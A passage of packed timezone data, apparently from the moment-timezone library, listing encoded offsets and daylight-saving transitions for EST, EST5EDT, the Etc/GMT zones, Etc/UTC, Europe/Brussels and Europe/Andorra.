1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|12e5","EST|EST|50|0||","EST5EDT|EST EDT EWT EPT|50 40 40 40|010102301010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010|-261t0 1nX0 11B0 1nX0 SgN0 8x40 iv0 QwN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","Etc/GMT-0|GMT|0|0||","Etc/GMT-1|+01|-10|0||","Etc/GMT-10|+10|-a0|0||","Etc/GMT-11|+11|-b0|0||","Etc/GMT-12|+12|-c0|0||","Etc/GMT-13|+13|-d0|0||","Etc/GMT-14|+14|-e0|0||","Etc/GMT-2|+02|-20|0||","Etc/GMT-3|+03|-30|0||","Etc/GMT-4|+04|-40|0||","Etc/GMT-5|+05|-50|0||","Etc/GMT-6|+06|-60|0||","Etc/GMT-7|+07|-70|0||","Etc/GMT-8|+08|-80|0||","Etc/GMT-9|+09|-90|0||","Etc/GMT+1|-01|10|0||","Etc/GMT+10|-10|a0|0||","Etc/GMT+11|-11|b0|0||","Etc/GMT+12|-12|c0|0||","Etc/GMT+2|-02|20|0||","Etc/GMT+3|-03|30|0||","Etc/GMT+4|-04|40|0||","Etc/GMT+5|-05|50|0||","Etc/GMT+6|-06|60|0||","Etc/GMT+7|-07|70|0||","Etc/GMT+8|-08|80|0||","Etc/GMT+9|-09|90|0||","Etc/UTC|UTC|0|0||","Europe/Brussels|LMT BMT WET CET CEST WEST|-h.u -h.u 0 -10 -20 -10|012343434325252525252525252525252525252525252525252525434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343|-3D8Mh.u u1Ah.u SO00 3zX0 11c0 1iO0 11A0 1o00 11A0 my0 Ic0 1qM0 Rc0 1EM0 UM0 1u00 10o0 1io0 1io0 17c0 1a00 1fA0 1cM0 1cM0 1io0 17c0 1fA0 1a00 1io0 1a30 1io0 17c0 1fA0 1a00 1io0 17c0 1cM0 1cM0 1a00 1io0 1cM0 1cM0 1a00 1fA0 1io0 17c0 1cM0 1cM0 1a00 1fA0 1io0 1qM0 Dc0 y00 5Wn0 WM0 1fA0 1cM0 16M0 1iM0 16M0 1C00 Uo0 1eeo0 1a00 1fA0 1cM0 1cM0 1cM0 1fA0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|21e5","Europe/Andorra|LMT WET CET CEST|-6.4 0 -10 -20|0123232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-2M0M6.4 1Pnc6.4 1xIN0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 